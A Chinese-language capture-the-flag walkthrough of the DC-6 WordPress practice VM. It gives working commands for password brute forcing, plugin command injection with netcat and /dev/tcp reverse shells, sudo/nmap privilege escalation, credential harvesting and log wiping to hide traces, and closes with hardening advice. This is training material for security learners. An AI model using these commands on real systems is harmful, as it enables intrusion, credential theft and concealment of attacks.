1. DC-6靶机渗透概述
DC-6是专为网络安全学习者设计的虚拟靶机环境,基于WordPress构建。这个靶机模拟了企业级CMS系统的典型漏洞链,包含从信息收集、漏洞利用到权限提升的完整攻击路径。作为CTF入门者向中级进阶的经典案例,它涵盖了Web渗透测试中80%的核心技术点。
我在实际渗透测试中发现,DC-6靶机特别适合练习以下技能:
- WordPress专项漏洞利用(WPScan实战)
- 中间件配置缺陷利用
- 密码爆破的精细化操作
- Linux权限提升的多种姿势
- 漏洞链的组合利用思维
靶机默认采用桥接网络模式,建议在VMware或VirtualBox中改为NAT模式进行测试。官方提供了三种下载方式,国内用户推荐使用镜像下载链接,速度更稳定:
https://download.vulnhub.com/dc/DC-6.zip2. 环境准备与信息收集
2.1 网络拓扑配置
将靶机网络模式改为NAT后,首先需要确定目标IP。我习惯使用netdiscover进行二层发现:
netdiscover -i eth0 -r 192.168.88.1/24当发现类似192.168.88.184的未知IP时,立即用nmap验证基础服务:
nmap -sV -T4 192.168.88.184关键发现:
- 22/tcp ssh OpenSSH 7.4p1
- 80/tcp http Apache/2.4.25
注意:如果发现HTTP请求被重定向到wordy域名,需在/etc/hosts添加记录: 192.168.88.184 wordy
2.2 WordPress深度侦察
使用WPScan进行全维度扫描时,建议添加以下参数组合:
wpscan --url http://wordy \ --enumerate uvpvt \ --plugins-detection aggressive \ --api-token YOUR_API_KEY扫描结果分析要点:
- 版本信息:WordPress 5.1.1(存在已知漏洞)
- 主题:twentyseventeen(检查主题目录遍历)
- 用户枚举结果:
- admin
- graham
- mark
- sarah
- jens
- 可疑插件:activity_monitor(后续重点突破点)
我通常会建立用户-密码矩阵表辅助爆破:
| 用户名 | 常见密码组合 |
|---|---|
| mark | helpdesk01, mark123, !mark |
| graham | Graham2023, passGraham |
| admin | admin, wordpress, 123456 |
3. 漏洞利用实战
3.1 密码爆破的艺术
针对mark用户,使用精细化字典策略:
crunch 8 8 -t helpdesk%% > custom_dict.txt hydra -l mark -P custom_dict.txt wordy http-form-post \ "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In:F=incorrect"爆破成功后获得凭证:mark/helpdesk01
经验:WordPress后台登录存在防爆破机制,建议:
- 设置3秒请求间隔
- 使用--threads 1降低并发
- 配合代理池轮转
3.2 activity_monitor插件RCE
该插件存在命令注入漏洞,两种利用方式:
方法一:Web触发
- 在Kali开启监听:
nc -lvnp 4444 - 访问插件管理页面:
http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools - 抓包修改lookup参数为:
baidu.com | nc -e /bin/bash 192.168.88.183 4444
方法二:直接请求
curl -X POST "http://wordy/wp-admin/admin.php" \ -d "page=plainview_activity_monitor&tab=activity_tools&lookup=google.fr|nc 192.168.88.183 4444 -e /bin/bash"获得初始shell后,立即升级为完整TTY:
python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm4. 权限提升路径
4.1 横向移动:graham用户
在/home/mark/stuff目录发现thing-to-do.txt:
graham的密码:GSo7isUM1D4通过SSH登录验证:
ssh graham@wordy4.2 纵向提权:jens用户
查看sudo权限:
sudo -l发现可执行/home/jens/backups.sh,该脚本内容:
#!/bin/bash tar -czf backups.tar.gz /var/www/html利用方法:
- 清空原脚本内容
- 插入反弹shell代码:
bash -i >& /dev/tcp/192.168.88.183/5555 0>&1 - 等待cron执行或手动触发
4.3 终极提权:root访问
发现jens用户可以无密码执行nmap:
sudo nmap --interactive nmap> !sh更优雅的方式是使用nmap脚本引擎:
echo 'os.execute("/bin/bash")' > /tmp/privesc.nse sudo nmap --script=/tmp/privesc.nse5. 渗透后操作与痕迹清理
5.1 关键证据收集
# 用户历史命令 cat /home/*/.bash_history # SSH密钥 find / -name id_rsa 2>/dev/null # 数据库凭证 grep -r "DB_PASSWORD" /var/www/html5.2 日志清理技巧
# 删除当前用户相关日志 sed -i '/192.168.88.183/d' /var/log/auth.log # 清空web访问日志 echo > /var/log/apache2/access.log6. 防御建议
根据本次渗透经验,企业应加强以下防护:
WordPress安全加固:
- 禁用xmlrpc.php
- 限制wp-admin访问IP
- 定期更新核心与插件
系统层防护:
# 禁用危险sudo权限 visudo # 删除nmap的suid权限 chmod -s /usr/bin/nmap网络层控制:
- 配置fail2ban防御爆破
- 设置SSH双因素认证
这个靶机最精妙之处在于展示了从Web漏洞到系统提权的完整攻击链。我在实际渗透测试中遇到过类似场景,攻击者往往利用开发人员留下的注释信息(如thing-to-do.txt)找到突破口。建议开发团队建立完善的代码审查机制,避免在生产环境遗留测试信息。